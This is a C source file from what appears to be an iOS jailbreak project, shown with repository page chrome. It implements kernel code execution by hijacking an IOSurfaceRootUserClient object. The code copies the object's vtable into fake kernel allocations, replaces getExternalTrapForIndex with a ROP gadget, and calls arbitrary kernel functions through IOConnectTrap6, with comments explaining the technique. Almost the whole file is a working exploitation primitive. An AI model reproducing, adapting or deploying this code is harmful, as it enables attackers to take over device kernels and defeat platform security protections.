-
Notifications
You must be signed in to change notification settings - Fork 57
/
kexecute.c
142 lines (105 loc) · 5.65 KB
/
kexecute.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#import <pthread.h>
#import "kernel_utils.h"
#import "kexecute.h"
#import "patchfinder64.h"
#import "offsetof.h"
#import <IOKit/IOKitLib.h>
typedef int (*kexecFunc)(uint64_t function, size_t argument_count, ...);
kexecFunc kernel_exec;
mach_port_t PrepareUserClient(void) {
kern_return_t err;
mach_port_t UserClient;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
if (service == IO_OBJECT_NULL){
printf(" [-] unable to find service\n");
exit(EXIT_FAILURE);
}
err = IOServiceOpen(service, mach_task_self(), 0, &UserClient);
if (err != KERN_SUCCESS){
printf(" [-] unable to get user client connection\n");
exit(EXIT_FAILURE);
}
//
printf("[+] kexecute: got user client: 0x%x\n", UserClient);
return UserClient;
}
// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
pthread_mutex_t kexecuteLock;
static mach_port_t UserClient = 0;
static uint64_t IOSurfaceRootUserClient_Port = 0;
static uint64_t IOSurfaceRootUserClient_Addr = 0;
static uint64_t FakeVtable = 0;
static uint64_t FakeClient = 0;
const int fake_Kernel_alloc_size = 0x1000;
void init_Kernel_Execute(void) {
UserClient = PrepareUserClient();
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
IOSurfaceRootUserClient_Port = FindPortAddress(UserClient); // UserClients are just mach_ports, so we find its address
//
//printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_Port);
IOSurfaceRootUserClient_Addr = KernelRead_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
//
//printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_Addr);
uint64_t IOSurfaceRootUserClient_vtab = KernelRead_64bits(IOSurfaceRootUserClient_Addr); // vtables in C++ are at *object
//
//printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there
FakeVtable = Kernel_alloc(fake_Kernel_alloc_size);
//
//printf("Created FakeVtable at %016llx\n", FakeVtable);
for (int i = 0; i < 0x200; i++) {
KernelWrite_64bits(FakeVtable+i*8, KernelRead_64bits(IOSurfaceRootUserClient_vtab+i*8));
}
//
//printf("Copied some of the vtable over\n");
// Create the fake user client
FakeClient = Kernel_alloc(fake_Kernel_alloc_size);
//
//printf("Created FakeClient at %016llx\n", FakeClient);
for (int i = 0; i < 0x200; i++) {
KernelWrite_64bits(FakeClient+i*8, KernelRead_64bits(IOSurfaceRootUserClient_Addr+i*8));
}
//
//printf("Copied the user client over\n");
// Write our fake vtable into the fake user client
KernelWrite_64bits(FakeClient, FakeVtable);
// Replace the user client with ours
KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, FakeClient);
// Now the userclient port we have will look into our fake user client rather than the old one
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
KernelWrite_64bits(FakeVtable+8*off_getExternelTrapForIndex, Find_add_x0_x0_0x40_ret());
//
//printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");
pthread_mutex_init(&kexecuteLock, NULL);
}
void term_Kernel_Execute(void) {
if (!UserClient) return;
KernelWrite_64bits(IOSurfaceRootUserClient_Port + off_ip_kobject, IOSurfaceRootUserClient_Addr);
Kernel_free(FakeVtable, fake_Kernel_alloc_size);
Kernel_free(FakeClient, fake_Kernel_alloc_size);
}
uint64_t Kernel_Execute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
if (kernel_exec) {
return kernel_exec(addr, 7, x0, x1, x2, x3, x4, x5, x6);
}
pthread_mutex_lock(&kexecuteLock);
// When calling IOConnectTrapX, this makes a call to iokit_UserClient_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
// This jumps to our gadget, which returns +0x40 into our fake UserClient, which we can modify. The function is then called on the object. But how C++ actually works is that the
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
// through like normal.
// Because the gadget gets the trap at UserClient+0x40, we have to overwrite the contents of it
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
// (i'm not actually sure if the switch back is necessary but meh)
uint64_t offx20 = KernelRead_64bits(FakeClient+0x40);
uint64_t offx28 = KernelRead_64bits(FakeClient+0x48);
KernelWrite_64bits(FakeClient+0x40, x0);
KernelWrite_64bits(FakeClient+0x48, addr);
uint64_t returnval = IOConnectTrap6(UserClient, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
KernelWrite_64bits(FakeClient+0x40, offx20);
KernelWrite_64bits(FakeClient+0x48, offx28);
pthread_mutex_unlock(&kexecuteLock);
return returnval;
}